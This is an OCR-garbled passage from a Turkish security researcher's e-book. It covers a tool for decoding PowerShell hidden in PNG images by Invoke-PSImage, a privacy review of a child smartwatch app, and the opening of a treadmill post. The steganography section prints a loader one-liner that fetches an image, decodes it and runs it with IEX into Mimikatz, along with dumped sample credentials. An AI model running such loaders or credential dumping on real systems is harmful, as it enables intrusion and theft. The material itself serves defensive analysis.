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Giris

2009 yilinda “Bilgi giigtiir ve paylasildik¢a artar” mottosuyla olusturdugum
blogumda, bilgi giivenligi farkindaligini arttirma adina ¢ok sayida teknik
yaziya yer vermeye c¢alistim. Yillar icinde okurlarimdan aldigim olumlu geri
dontisler sonucunda, yazilarimi yillar bazinda e-kitap olarak derlemeye ve
siber giivenlik meraklilar1 ile paylasmaya karar verdim.

Emek, zaman ve kaynak ayirarak yaptigim arastirmalar sonucunda
yazdigim bu yazilarin, siber giivenlik alaninda kendini gelistirmek isteyenler
icin faydali olmasi dileklerimle...

Mert SARICA



This book was produced using

IPRESSBOOKS

Pressbooks provides educators, authors, & scholars with
powerful tools for creating, adapting, & sharing their ideas.

Learn more about how you can use Pressbooks to publish
beautiful and accessible books on the web and in print-ready
formats at https://pressbooks.com/get-started.



Zararh Goruntu

Tirkiye’deki kurumlar: da hedef alan Muddy Water gibi organize siber saldir1
gerceklestiren =~ APT  gruplarinin  son  yillarda  gergeklestirdikleri
operasyonlarina baktigimizda, zaman zaman Steganografi tekniginden

faydalandiklarin1 gorityoruz. Bu teknik sayesinde siber saldirganlar, sosyal
mithendislik saldirisi ile sizmaya calistiklar: hedef son kullanici sistemine,
gozle ayirt edilemeyecek zararli kod parcasinin goriintii dosyasinin icinde

indirilmesini ve calistirilmasini saglamaktadirlar.

Steganografinin ilk kullanimina M.O 400’li yillarda “Tarihin
babas1” olarak anilan Herodot'un Historia olarak bilinen eserinde
rastlanmaktadir.Bu eserde Demaratus, Yunanistan’a yaklasan bir
saldirty1 tahta bir tabletin tizerine kazidiktan sonra iizerini
balmumu ile kaplar ve mum eritildikten sonra tablette saldiriya
dair uyari ortaya ¢ikar.

Hem 2018 yilindan bu yana haberlere konu olmasi hem de Mitre’nin T1027
teknigi sayfasinda yer almasi sebebiyle PNG goriintii dosyasinin piksellerine

Powershell kodu eklemeye yarayan Invoke-PSImage araci dikkatimi cekti.


https://attack.mitre.org/groups/G0069/
https://www.bleepingcomputer.com/news/security/github-hosted-malware-calculates-cobalt-strike-payload-from-imgur-pic/
https://tr.wikipedia.org/wiki/Steganografi
https://attack.mitre.org/techniques/T1027/003/
https://tr.wikipedia.org/wiki/Steganografi
https://tr.wikipedia.org/wiki/Herodot
https://en.wikipedia.org/wiki/Demaratus
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-document-targets-pyeongchang-olympics/
https://attack.mitre.org/techniques/T1027/003/
https://github.com/peewpw/Invoke-PSImage
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Internette ufak bir arastirma yaptigimda bu arac ile olusturulmus PNG
dosyasindaki Powershell kodunu ortaya c¢ikaran bir ara¢ bulamadigim icin
olay miidahale (IR) uzmanlarina fayda saglayacak bir ara¢ hazirlamaya karar
verdim.

Ik olarak Invoke-PSImage aracinin nasil calistigini anlamak icin kaynak
koduna g6z attigimda hedef olarak verile bir PNG dosyasinin R (RED), G
(GREEN), B (BLUE) renk kodlarindan (her biri 8 bayt boyutundadir) G ve
B’nin en diigiik degerlikli bitleri (Least Significant Bit-LSB) ile oynayip (bu
sayede gortinti kalitesi diigse de insan gozii bu farki kolay kolay anlayamaz)
her defasinda ayni aritmetik islemlere ([math]::Floor(("$p.B-band15)*16)-
bor("'$p.G -band 15)) sokarak gizlenmis Powershell kodunu calistirdigini
ogrendim. Hep ayni aritmetik igleme soktugu icin islemi tersine cevirerek
gizli Powershell koduna ulagsmak pratikte miimkiin oldugu i¢in amacima bir
adim daha yaklagmis oldum.


https://github.com/peewpw/Invoke-PSImage/blob/master/Invoke-PSImage.ps1
https://github.com/peewpw/Invoke-PSImage/blob/master/Invoke-PSImage.ps1
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—
(4 Select Administrator: Windows PowerShell - O X ‘

Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

-Assemblgame “"System.Drawhfo”;$g- a System.Drawing.Bitmap((a Net.WebC|

));$0=8Byte[] 2204160; (0. M 147) 1% (foreach($x in (0..1919)){$p=$9.Get]

[math]::Floor(($p.B -band 15)x16) -bor ($p.G -band 15))}};$g.Dispose();IEX([System.Text.Enc|
oding]::ASCII.GetString($o[0..2204115])); Invoke-Mimikatz

CHHEHE . mimikatz 2.1 (x86) built on Nou 10 2016 15:30:40
% ~ ##. A La UVie, A L'Amour”
BE /7 O\ HB /% x x
## \ / ## Benjamin DELPY "gentilkiwi  ( benjamin@gentilkiwi.com )
THE U H# http://blog.gentilkiwi.com/mimikatz (oe.eo0)
THEHER with,ZG modules x x x/

mimikatz(powershell) # sekurlsa::logonpasswords Q
8RONVhd.png (1920x12 X

: 0 ; 365598 (0000EOOO:0005941e)

L teactiveRinony] < C' | @ Secure | https://iimgur.com/8ROnVhd.png ¥

: IEUser o

: IE8WinT

: IESWINT

: 12/13/2017 3:17:46 AM

: $-1-5-21-3463664321-2923530833

[00000003] Primary o )

% Username : IEUser y 3 Bt ﬂ' %,

* Domain : IE8WinT 4 W\ v 'l"‘

x NTLM : fc525c9683e8fe067095ba2ddc7? 4 R\ \)‘ o,
* SHA1 : e53d72442a8727f5789b01d89591! ¢ \\ . <
[00010000] CredentialKeys "' ‘_ “'
* NTLM : fc525c9683e8fe067095ba2ddcd7 i g ™
* SHA1 : e53d72442a8727f5789b01d89591! ‘ <% v
tspkg : v = 4 \ \‘.\
wdigest : k .f#! “G‘

% Username : IEUser e 4

* Domain : IE8WinT

* Password : PasswOrd!

kerberos :

* Username : IEUser 3 g S

* Domain : IE8WinT
% Password : (null)

ssp :
credman :

Arac1 hazirlamadan 6nce hedef goriinti dosyasinda gizli bir mesaj olup
olmadigini anlamanin kolay bir yolu var mi diye arastirirken ¢ok sayida
aracin yanisira iki tane oldukca faydali web sitesi ile karsilastim. Ikisinde
de Muddy Water APT grubu tarafindan bir operasyonda kullanilan
EPUWBt3.png dosyasin1 analiz ettigimde tatmin edici sonuclar ile
karsilagtim.

Bunlardan ilki olan McAfee’nin web sitesine (FireEye — McAfee birlesmesi
sonrasinda bu aract web sitesinden kaldirdilar) EPUWBt3.png dosyasini

yiikledigimde dosyanin siipheli olduguna dair bir uyar1 mesaji ile karsilagtim.


https://0xrick.github.io/lists/stego/
https://www.virustotal.com/gui/file/9bbec4e201e72297b8e1a05f08ceb7089846d57f3bccea82230b03bc277d2cb7/detection

Steganography Analysis Tool | X+

O

& C (@ & mcafee.com/enterprise/en-u ads|free nogr * ©in 8 Bg 8 T O :

@ Text & Hack4Career.inf.. in Linkedin Mert SARICA (mer... i1 Inbox - mert.saric... S Other Bookmarks | [E] Reading List

U McAfee Your Goals Products Resources Threats Q

We are constantly improving detection capabilities, keep coming back for updated results

,,,,,,,,,,,,,,,,,,,,,,,,,,, g

Drop here an image file 1 ' Suspicious: Yes - Image might be concealing data using
to analyze for 1 v3 laﬁ)) ' steganography
steganography H ] Confidence Level: High
| ] Score: 707.5172646019503
Scan Time: 4339 ms
Errors: false

Aperi’Solve isimli diger web sitesine EPUWBt3.png dosyasini yiikledigimde
ise ozellikle yesil ve mavi renk kodlarindaki farklilik bu goriintii dosyasinda

siipheli bir durum oldugunu ortaya koyuyordu.

<« C O & aperisolve.fr/0986edade 9a24a6b

% © in § B3

@ Text & Hack4Career.inf.. in Linkedin Mert SARICA (mer... 1 Inbox - mert.saric... BS Other Bookmarks|

[+] Green

[+] Blue

e —

Sira araci hazirlamaya geldiginde EPUWBt3.png goriinti dosyasini ¢ozen


https://aperisolve.fr/
https://aperisolve.fr/0986edad6be5c789a24a6b738b1130ab
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Powershell kodunu Visual Studio Code ile hata ayiklama ile adim adim
analiz ettikten sonra Invoke-PSImage araci ile goriintii dosyalarina gizlenen
Powershell kodlarini ortaya cikaran psimage decoder.py isimli yeni aracim,
siber giivenlik uzmanlarinin kullanimi i¢in hayata merhaba demis oldu.

eoooe Windows 10 =E20{QF LB« @

) File Edit Selection View Go Run Terminal Untitled1.ps1 - Visual Studio Code = X
RUN felcom untite = > @ ¥ T © 0O & > B m
 VARIABLES mertrix > Desktop > > Untitled.ps1
< Auto sal a New-Object;
Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap("C:\Us
$0=a Byte[] 60528;
(@..96) |%{
foreach($x in(e..623))
{
$p=sg.GetPixel($x,9_);
$0[$_*624+$x]=([math]: :Floor(($p.B-band15)*16)-bor($p.G -band 15))
}
b
IEX([System.Text.Encoding]: :ASCII.GetString($o[e. .60162]))
> $0
$rows = [math]::Ceiling($payload.Length/$width)
 CALLSTACK [T — $array = ($rows*$width)
<ScriptBlock> Untitled1ps1 89 $1rows = ($rows-1)
<ScriptBlock> 5 $1lwidth = ($width-1)
$lpayload = ($payload.Length-1)

$0=a Byte[] sarray;
(0. .$lrows)|%
* BREAKPOINTS
¥ Untitled1.ps1 ¢
# Untitled1.ps1
% Untitled1.ps1 C
¥ Untitled1.ps1
¥ Untitled1.ps1 C
% Untitled.ps1

foreach($x in(@..$lwidth))
{
$p=$g.GetPixel($x,$_);
$o[$_*$width+$x]=( :Floor(($p.B-band15)*16)-bor($p.G-band15))

TERMINAL 1: PowerShell Integrate:
% Untitled .ps1 —

3 ¥ Untitled1.ps1
% otitledd 051 C

®0AS5 & Ln 8, Col 30 (21 selected) Spaces:4 UTF-8with BOM CRLF Powershell (151 & 0

Windows 10 FdGLyHE « #2

CAWINDO

PSInage Decoder v1.0 [https://www.mertsarica.con]

> cti1e >
Gl Usage: python psimage_decoder.py <PNG files

Set-StrictMode -Version 2

C:\Users\mertrix\Desktop\ctf19>python psimage_decoder.py EPUWBt3.png > EPUWBt3.psl

C:\Users\mertrix\Desktop\ctf195,

€PHBGTNMKXzttweCYhZszdrysPdwhjusITZuFanor: 0biQTAQTT £
Param ($xHVbI1fpQydSxAarAxImyfUrzeICXIIVihULhHIGKAVEMARSgUrSAFACKCNLDX1BFFgIZAgLbOHKz(
$rkWmvBGCaMesLvvMwqtoXKVWATnN1hhjnWEeOVSWVQeF hTvuIrsjgWDTeEMSAYeQrTyZNZUGVLbdSI1MIaLr
$s1hYhpUSSpt jgaCNoZAdcTgoraHKD1K11TK o3 vIXwQUL ZRQagBGTvXQoeXHVSKaXpYSHEOKEATtUOQBVIVBSF:

rn $sihYhpUSSptjgaCNoZAdcTgoraHKD1K111KjojvIxwQVLZRQagBGIVXQoeXHYSKaXpYSHEOKEATUOX

EKxFOX1AHi gMTXmPKhUKBCZnmgghAoXotstbdTiQeTFCWnzCuBdbICHTBpOJ swi YUYMRBWpFYCFKURLar
param (

[Parameter(Position = 8)] [Type[]] $b1YFGRWHDRDQHWLYvWMWX3VTLYTKVIF3VnjQzyLKRrgFxxBoyndKyQAaTogomwvuTWggFSQsrzk

TERMINAL 1: PowerShell Integrate:

=====> PowerShell Integrated Console v2621.2.2 <

Ln14,Col 34 TabSize:4 UTF-8 _ CRLF _PowerShell <O Starting Powershell..

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.



https://web.archive.org/web/20201228154721/https://raw.githubusercontent.com/Nuevodelmundo/powershell/main/scriptes.ps1
https://code.visualstudio.com/
https://devblogs.microsoft.com/scripting/debugging-powershell-script-in-visual-studio-code-part-1/
https://github.com/peewpw/Invoke-PSImage
https://github.com/mertsarica/hack4career/blob/master/codes/psimage_decoder.py

Not:
Bu yazi ayrica Pi Hediyem Var #19 oyununun ¢6ziim yolunu da

icermektedir.


https://www.mertsarica.com/pi-hediyem-var-19/

Akilli Cocuk Saatleri

Bu hikaye, 4 Mayis 2022 tarihinde Erman ATES isimli bir okurumdan aldigim
e-posta ile bagladi. Bilincli ve duyarli bir baba olan Erman Bey gondermis
oldugu e-postada, akilli ¢cocuk saatlerinin bir ¢ok ebeveyn tarafindan hakl
gerekcelerle tercih edilmeye baslandigini ancak yazilim, giivenlik ve
mahremiyet acgisindan hem bir standarda tabi olmamalar1 hem de
Instagram’da gordigii bir mesaj nedeniyle tim ebeveynler adina endise
duymaya bagladigini ve bu nedenle de bu konuya mercek tutmami rica

etmisti. Instagram Dolandiricilari, Arka Kapi Avi, Tuzak Sistem ile Hacker

Avi blog yazilarimda oldugu gibi okurlarina her daim kulak veren bir
guvenlik arastirmacisi olarak toplumsal fayda ve bilgi giivenligi farkindaligi

adina bu konuya egilmeye karar verdim.


https://www.instagram.com/p/CczlZ0uqZjw/?igshid=MDJmNzVkMjY=
https://www.mertsarica.com/instagram-dolandiricilari/
https://www.mertsarica.com/arka-kapi-avi/
https://www.mertsarica.com/tuzak-sistem-ile-hacker-avi/
https://www.mertsarica.com/tuzak-sistem-ile-hacker-avi/
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Konu:
cocuklar icin akilli saatler

Mesajiniz:
Merhaba Mert Bey,

Sizleri yillardir ilgiyle takip ediyorum.

Ben 9 yasinda bir erkek gocuk babasiyim ve gocuklarin takip
edilebildigi akilli dijital saatlerin bir gok anne baba

tarafindan tercih edilmeye baslandigini gérmekteyim. Nitekim
cihazlar ve iclerindeki yazilimlar standardlara uyan ve lisans
sahibi degiller genellikle.

Bazi instagram hesaplarinda sadece belirli numaralardan aranmasi
gerekirken herhangi birinin arayabildigi, sim kartin internet

erigimi saglamasi vesilesiyle saate baglanilarak ses ve video

kaydi alinabilmesi gibi gesitli endigelerin bag gosterdigini
goriiyorum.

dijitalbaba orhan toker beyin instagram hesabi ve web sayfalarinda

bu konuyla ilgili birkag paylagim gérdim ve hem kendi ailem hem
de birgok aile igin endigselenmeye basladim.

bu konuda farkindaligi artirmak amaciyla sizlerin akill

saatlerin glivenligi konusunda bir arastirma/degerlendirme blogu
yazmanizin miimkni olup olamayacagini sormak isterim
(inaniyorum bu konuda size yazan ilk kisi ben degilimdir).

Tesekkiirler, saygilar.

Erman

Asagidaki fotografa bakildiginda akilli ¢ocuk saatleri gercekten ebeveynler
icin cocuklarini gozetim altinda tutmak i¢in faydalanabilecekleri biiytik bir
teknolojik nimet mi ?



https://www.mertsarica.com

09 haa tl 1

Carsambi
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Yoksa asagidaki diger bir fotografa bakildiginda ebeveynlerin, kendilerinin
ve c¢ocuklarinin mahremiyetini, 6zel hayatlarinin gizliligini istemeden de
olsa tehlikeye attiklari, ortam dinlemeye imkan taniyan saat goriinimli

potansiyel casus bir cihaz mi1 ?


https://www.youtube.com/results?search_query=%C3%A7ocuk+saati+ortam+dinlemesi

https://www.mertsarica.com 13

Bu sorulara yanit bulmak i¢in ilk olarak giivenlik aragtirmamda kullanmak

izere fiyat agisindan uygun olan bir cocuk saati satin almaya karar verdim.
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Bunun i¢in Hepsiburada, Trendyol gibi aligveris sitelerindeki Akilli Cocuk

Saatleri kategorilerini incelemeye bagladim. En c¢ok satilan, yorum ve
degerlendirme yapilan saatlere baktiktan sonra 1000°‘e yakin degerlendirmesi

olan bir marka ve modelde karar kilip, satin aldim.

€ > C 0 & tendyolcom

& Hack 4 Career. Inf... in Linkedin Mert SARICA (mer... 1 Inbox - mert.saric... B3 Other Bookmarks

trendyo| Aradiginiz irin, kategori veya markayi yaziniz Q B Hesabim Q) Favorlerim 2 Sepetim

KADIN ERKEK cocuk EV & MOBILYA SUPERMARKET KOZMETIK AYAKKABI & GANTA SAAT & AKSESUAR ELEKTRONIK SPOR&OUTDOOR

Anasayfa > Elektronik > Giyilebilir Teknoloji > Aklli Gocuk Saati

gl Kategoriler . "Akilli Gocuk Saati" aramas! igin 673 sonug listeleniyor Onerlen ~
5 Hizhi Teslimat yapilan iiriinleri goster.
Marka ~
Marka ara ONCEKI URUNLERI GOSTER
Alcatel
oL
oo & o E3 g
Bilicra 5
HANGAREX
Fibit
RealFoni
Renk

Fiyat Loksart Sim Kartl Akil Gocuk Saat Fitbit Kiz Gocuk Pembe Sim Kartl Qfit Qfit Q4 4.5g Akill Gocuk Saati medigen AkilliCocuk Saati Sim
L Tiirkge Mend Imei Kayitl Smartcel Pembe Kartl Konum Takip Pl

BB Akilll Saat Modellerinde Taksitl X +

<« C @ @ hepsiburada.com G * @ fg » OO

& Hack 4 Career. Inf... in Linkedin Mert SARICA (mer. 1 Inbox - mert.saric... B3 Other Bookmarks

Marka Sharplace +  Easytoy +  Flameer Xoazzar +  StarWomen +  Sunfay +  Waysle +

Laske
Karth Arams

389,901

1575

<

FiyatAraigs

Al
Gocuk Saati- M

v
385,00TL 390,001 390,007

o Kk & 801 Yk k k801 4


https://www.hepsiburada.com/akilli-saatler-c-60003676?filtreler=cinsiyet:Erkek%E2%82%AC20%E2%82%ACC3%E2%82%AC87ocuk,K%E2%82%ACC4%E2%82%ACB1z%E2%82%AC20%E2%82%ACC3%E2%82%AC87ocuk&siralama=coksatan
https://www.trendyol.com/akilli-cocuk-saati-x-c145774

https://www.mertsarica.com 15
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kaldiysaniz,
l_'erok bizlere

i '_ ki diriinler’de ambalaj, kuty

e kosulu bozulmaktadir,

EN VIDEO GEKiP AGINIZ.

Uriinde sorun oldugunu d
Whatsapp hattindan S

Saati kutusundan cikarip, kurulum kilavuzunu inceledigimde, saati uzaktan
yonetebilmek i¢in Cinli 3G Electronics isimli bir sirket tarafindan gelistirilen
Android veya iOS mobil uygulamasinin kurulmasinin gerektigi belirtiliyordu.


http://en.3g-elec.com/
https://play.google.com/store/apps/details?id=com.tgelec.setracker&hl=en&gl=US
https://apps.apple.com/us/app/setracker2/id1136532910

https://www.mertsarica.com 17

SeTracker2 isimli uygulamanin topladig: bilgilere baktigimizda lokasyon,
ses ve goriintii kaydindan, rehbere, isim, cep telefonu ve e-posta adresine

kadar kisiye 6zel, hassas, mahrem sayilabilecek bilgiler oldugunu goérdiim.

Saate SIM kart1 takip, calistirdiktan sonra SeTracker2 uygulamasini acip,
kayit oldum. Daha sonra uygulamaya ile saati eslestirdikten sonra
uygulamayi ve menii adimlarini incelemeye bagladim.


https://play.google.com/store/apps/datasafety?id=com.tgelec.setracker&hl=en&gl=US

AMO

< Cihaz Ekle

temel bilgiler

... cihaz takma adi

ben onunum Baba

iletisim numaras; (birakmaniza gerek yok)

Q\ cihazin telefon numaras:
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3 7.4l %708 14:43

IE-posta adresi

Liitfen 8-16 harf + rakam kombinasyonu sifresini girin

Sifrenizi mi unuttunuz? Uye ol

~ Otomatik Girig

GIRIS YAP

Okudum ve kabul ediyorum




Findmykids

Gocuk akilli saatleri igin
en dogru konum

Self-startina Permission

SeTracker2 uygulamasina
telefon aramalari yapma ve
cagrilarn yonetme izni verilsin
mi?

REDDET 1ZIN VER

a aile Uyeleri
f

Ana Sayfa
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Uygulamada o6ncelikle dikkatimi ceken nokta, saatin harita tizerinden anlik
olarak izlenebilmesi daha sonra ise Takip Numarasi ve uzaktan kamera
meni adimlar1 oldu. Uzaktan kamera meniisii izerinden saatteki kamera
ile istediginiz zaman fotograf cekilebiliyorsunuz. Bu esnada saat herhangi
bir gorsel veya isitsel bir uyar: olusturmuyor. Takip numarasi meniisi ile
ise saatin girilen cep telefonu numarasini aramasini saglayabiliyorsunuz ve
saatteki mikrofon sayesinde de ortam dinlemesi yapilabiliyor. Bu esnada yine
uzaktan kamera adiminda oldugu gibi telefon, ortam dinlemesi yapildigina
dair herhangi bir uyar1 vermiyor.



“H Ms

Reklamini yapmal yeler

TikTok
45

Mesaj Gonderme

o Zk. No:6,
08-1314:37:58 | LBS m) 45%

T e ———

a aile tyeleri
L

Ana Sayfa
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% 7 .4l %680 14:47

5 ms (+]

=N,

o Takip Numaras! \

£ Uyarilar Bildirim Ayarlari

(o]
() Arama Ayarlar

(D uzaktan kamera  (—
X :

\‘ Garip aramalar reddet

° Saat Dilimi Segimi

2 SaatDili

Q s

Saati Sifirla

@ Uzaktan kapatma

@

Ana Sayfa




3 7 .l %67 8 14:48

Fotograf Diizenle

13-08-2022 14:48:03
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Bir veya daha fazla etkilesimli 6ge, metnin bu stiriimiinde yer
almadi. Bunlari ¢evrimici olarak burada goriintiileyebilirsiniz:

https://pressbooks.pub/mertrix/?p=68#oembed-1

“E ne giizel iste Mert, cocugumuzu anlik olarak izleyebilir ve dinleyebiliriz”
diye diigiiniyor olabilirsiniz. Peki SeTracker2 uygulamasina giris icin
kullandiginiz e-posta adresinizi ve icinde &zel karakter bile kullanarak
gi¢lendiremediginiz parolanizin bir an olsun art niyetli kisiler tarafindan
calindigini veya tahmin edildigini distinelim. Art niyetli kisi, ¢cocugunuzun
kolundaki saate uygulama iizerinden baglanarak konumunu anlik olarak
izleyebilir, fotografim1 cekebilir, mesaj gonderebilir, gonderdigi mesaj1 silip
geride iz birakmayabilir, saatin belirttigi telefon numarasini aramasini
saglayarak ortam dinlemesi yaparak mahremiyetinizi, 6zel hayatinizin
gizliligini ihlal edebilir. Ayrica art niyetli kisi tarafindan gerceklestirilen tiim
bu iglemlerin iz kaydma (log) SeTracker2 uygulamas: iizerinden ulagma
sansinizin olmadiginin da altini ¢izeyim!

“Mert ben ¢ok dikkatliyim, temkinliyim, kolay kolay dolandiricilarin agina
diismem” de diyebilirsiniz. Ayni parolay: birden fazla web sitesine giris
esnasinda kullaniyorsaniz, o web sitelerinden biri ¢oktan hacklenmis ve
kullanic1 adiniz/e-posta ve parolaniz ele gecirilmis olabilir. Cok Faktorli
Kimlik Dogrulamasi (MFA) kullanmadiginiz durumda (SeTracker2
uygulamas1 MFA desteklemiyor!) art niyetli kisilerin elde ettigi bu bilgilerle
hesabmizin oldugu web sitelerine, mobil uygulamalara (SeTracker2

uygulamasi gibi) rahatlikla giris yapilabilecegini unutmayin!

Cok faktorlia kimlik dogrulamasi (MFA), kullanicilarin yalnizca bir
paroladan daha fazla bilgi girmesini gerektiren, hesapta ¢ok adiml
oturum ag¢ma siirecidir. Ornegin, kullanicilardan parolanin yani
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sira e-posta adreslerine, cep telefonlarinda gonderilen bir kodu
(internet subeye giriste oldugu gibi) girmeleri, mobil uygulamaya
gonderilen bir istegi kabul etmeleri, gizli bir soruyu yanitlamalar:
ya da parmak izlerini taratmalar1 istenebilir. Ikinci bir dogrulama
yontemi, art niyetli kisilerin parolasini ele gecirildigi kullanicilarin
hesaplarina yetkisiz erismesini 6nlemeye yardimci olmaktadir.

Bir diger dnemli konu ise ortam dinlemesi 6zelligine sahip saatler kullanarak
istemeden de olsa cocugunuz ilizerinden sug isliyor olabilirsiniz. Hukuke¢u
olmasam da 5237 Sayili Tirk Ceza Kanunu’'nun “Kisiler Arasindaki
Konusmalarin dinlenmesi ve kayda alinmasi” baglikli 133. maddesine
dikkatinizi cekmek isterim:

(1) Kisiler arasindaki aleni olmayan konusmalari, taraflardan
herhangi birinin rizasi olmaksizin bir aletle dinleyen veya bunlar:
bir ses alma cihazi ile kaydeden kisi, iki yi1ldan bes yila kadar hapis
cezasl ile cezalandirilir.

(2) Katildig1 aleni olmayan bir sdylesiyi, diger konusanlarin
rizas1 olmadan ses alma cihazi ile kayda alan kisi, alt1 aydan iki yila
kadar hapis veya adli para cezasi ile cezalandirilir.

(3) (Degisik: 2/7/2012-6352/80 md.) Kisiler arasindaki aleni
olmayan konusmalarin kaydedilmesi suretiyle elde edilen verileri
hukuka aykir1 olarak ifsa eden kisi, iki yildan bes yila kadar hapis
ve dortbin giine kadar adli para cezasi ile cezalandirilir. Ifsa edilen
bu verilerin basin ve yayin yoluyla yayimlanmas: halinde de ayni

cezaya hitkmolunur.

Tahminimce basta Kos Mert Kos baslikli blog yazim olmak iizere, giivenlik
aragtirmalarima agina olanlarinizin bu yazimda tersine mithendislikle, statik

ve dinamik kod analizi ile SeTracker2 uygulamasini analiz edip tespit ettigim


https://www.mertsarica.com/kos-mert-kos/
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zafiyetlerin nasil kotiiye kullanilabilecegini gostermemi veya saatte
kesfettigim donanimsal bir zafiyet ile saatin nasil casus bir cihaza
donistirebildigini gérmeyi umuyorlardi. Tiim bu anlattiklarimdan sonra
bunca zahmete girmeden bu saatin, SeTracker2 uygulamasi sayesinde art
niyetli kigilere kotiiye kullanim icin davetiye cikardigini, ebeveynler ve
cocuklari icin biyiik bir tehlike olusturduklarini net olarak aktarabildigimi
distintiiyorum. (£ Yine de uygulama ile ilgili teknik bilgi edinmek isteyenler

var ise onceki yillarda yapilmis olan calismalar icin buraya ve de buraya goz
atabilirler.
Umuyorum ki 2017 yilinda Almanya'nin aldifi bu 6rnek karar gibi

otoritelerimiz de benzer bir karar alarak, vasa disi ortam dinlemesi yapma

ozelligine sahip olan bu saat gériiniimlii potansiyel casus cihazlarin alisveris
sitelerinde satisini engelleyerek, ebeveynleri ve cocuklari bu tiir tehlikelerden

korumak icin 6nemli bir adim atarlar.

Bu bilgiler 1s1ginda, ortam dinlemesi yapabilen akilli ¢ocuk saatleri
kullanacaklara risklerini bilerek kullanmalarini tavsiye ettikten sonra siz
sevgili okurlarimdan farkindalik yaratma adina bu yaziy1 ebeveyn olan
arkadaslarinizla, dostlarinizla ve sevdiklerinizle paylagsmanizi 6nemle rica
ederim.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Not: Teknik okurlarim icin de SeTracker2 uygulamasinda SSL Pinning
yonteminin kullanildigini, HTTPS trafigini analiz etmek icin PCAPdroid
isimli bir Android uygulamasi sayesinde basit bir sekilde trafigi kayit altina
aldigimi ve daha sonrasinda da Wireshark araci ile analiz edebildigimi de
paylasayim.


https://www.pentestpartners.com/security-blog/hacking-smart-devices-to-convince-dementia-sufferers-to-overdose/
https://www.eurofins-cybersecurity.com/news/connected-devices-smart-watches/
https://www.welivesecurity.com/2017/11/20/kids-smartwatches-banned-germany-spying-concerns/
https://cheatsheetseries.owasp.org/cheatsheets/Pinning_Cheat_Sheet.html#what-is-pinning
https://play.google.com/store/apps/details?id=com.emanuelef.remote_capture&hl=en&gl=US
https://www.wireshark.org/
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126 =@ '@ 2 -

= PCAPdroid
STATUS CONNECTIONS
Ready
PCAP file .
Create a PCAP file in device storage
Target app

®% SeTracker2 (com.tgelec.setracker) .
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1:27 @ 8-

<  Settings

Traffic inspection

Block private DNS

Detect and possibly block private DNS to inspect .
DNS traffic. Disabling this can hinder traffic
analysis

Geolocation
Show country and ASN info by performing offline lookups

TLS decryption

Decrypt the SSL/TLS traffic by performing mitm. .
This may now work with some apps, check out the
user guide

Block QUIC

Block QUIC connections to possibly fall back to
decryptable TLS. Some apps may stop working

Capture
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TELNET Message Authentication Code (MAC), ignore “mac failed”
LD Pre-Shared Key
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TFP (Pre)-Master-Secret log filename
TFTP.
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aaaggmae" TIME
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No. | Time | Source | Destination Protocol | Lengtt| Info
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427 2022-08-15 85:10:47.815374  10.215.173.1 54.169.10.136 GET /app/u9103038.580153. FTVI3JUB7DTCGMAQI64GRVTKLNAFAFMT166!
456 2022-08-15 05:10:48.750561  10.215.173.1 54.169.10.136 GET /app/u9103038.580153. FTVI3JUB7DTCGMAQIE4GRVTKLNAFAFMT166!
473 2022-08-15 85:10:48.987693  10.215.173.1 54.169.10.136 608 POST /S18APP/findFaceAuthInfo HTTP/1.1 (application/x-www-f
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File Data: 299 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
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Form item: "appid" = "aaagg10006"
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Form item: "flag" v
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Farm itam. "timactamnnnt — "1RAAKAA2430RGN
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Decrypted TLS (688 bytes)

Text item (text), 74 bytes. Packets: 809 - Displayed: 15 (1.9%) Profile: Default
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2020 y1l1 itibariyle iilkemizde etkisini arttiran Covid-19 salgini sebebiyle spor
antrendrim ile spor salonu yerine WhatsApp iizerinden spor yapmaya
basladim. Zaman iginde antrenériimiin yonlendirmesiyle satin almaya
basladigim barfiks bari, agirlik seti ve sehpasi gibi spor aletleri, salginin
pek de sona erecek gibi goriinmemesi nedeniyle kosu bandi ile genislemek

durumunda kaldi ve son olarak Bluetooth fonksiyonuna Voit Active kosu

bandi, spor aletlerimin arasindaki yerini almis oldu.
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https://www.decathlon.com.tr/voit-active-kosu-bandi-id_8660593.html
https://www.decathlon.com.tr/voit-active-kosu-bandi-id_8660593.html
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m BIR URUN, SPOR YA DA MARKA ARAYIN @® ravoritiinierin - S, Hesabm Q) Magazam (2 bizeviagn ;Psmm

MAY FEST

SPORLAR KADIN ERKEK OCUK AAKSESUARLAR EKIPMANLAR TUM URUNLER FIRSATLARI ‘SERI SONU BLOG
TUM URONLER VOIT ACTIVE KOSU BANDI
VOIT ACTIVE KOSU BANDI VOIT Referans numarasi 8660593
Deneyimini lk Payasan Sen 01 (© Favor rinlrime EKie

<
voir
UCRETSIZ
KARGO.

INTERNETTEN SATIVAL MAGAZASTOBINA BAKVESATIV AL

5.750.001 SEPETE EKLE v

Kargoya teslim siiesi: 2 s giini

Bu kosu bandy, haftada § saat galisarak formunuzu korumaniz v incelmeniz igin tasarlandi.

VOIT ACTIVE kosu band diisik yogunlukla evde yapilan kosu antrenmanlari igin idealdir. Basit ve
Kolay olugu ile kalp kapasitenizi gelistirmeniz igin ideal yardimciniz. Kargo firmalari hacmi biiyiik ve
afirligi fazla olan kolileri bina dniine kadar tagimaktadir. Daha detayli bilg igin miisteri hizmetleri
ekibimiz ile goriigebilirsiniz.

Waiting for www.

4

Acikcas1 bu zamana dek satin aldig: elektronik aletleri hacklemeye calisan
(Yazic1 Deyip Ge¢meyin!, Bir Drone Gérdiim Sanki, Et tu, CPCR-505 ?, Casus
Fare, Esaretten Kacis gibi gibi) bir giivenlik arastirmacisi olarak masum kosu

bandina orantisiz giic uygulamak pek aklimin ucundan ge¢miyordu. Ne
zaman ki kosu bandinda gegen yiiriiyiis siirem artmaya baslad1 iste o zaman
kosu bandinin panelindeki QR kod da daha fazla dikkatimi ¢ekti.


https://www.mertsarica.com/yazici-deyip-gecmeyin/
https://www.mertsarica.com/bir-drone-gordum-sanki/
https://www.mertsarica.com/et-tu-cpcr-505/
https://www.mertsarica.com/casus-fare/
https://www.mertsarica.com/casus-fare/
https://www.mertsarica.com/esaretten-kacis/
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OR  kodu bir wuygulama yardimi ile okuttugumda  beni

http://www.artiwares.com/app/treadmill/spax/ adresine oradan da c¢ok
saylida olumsuz yoruma sahip olan ve ne idugi belirsiz Cinli bir firma

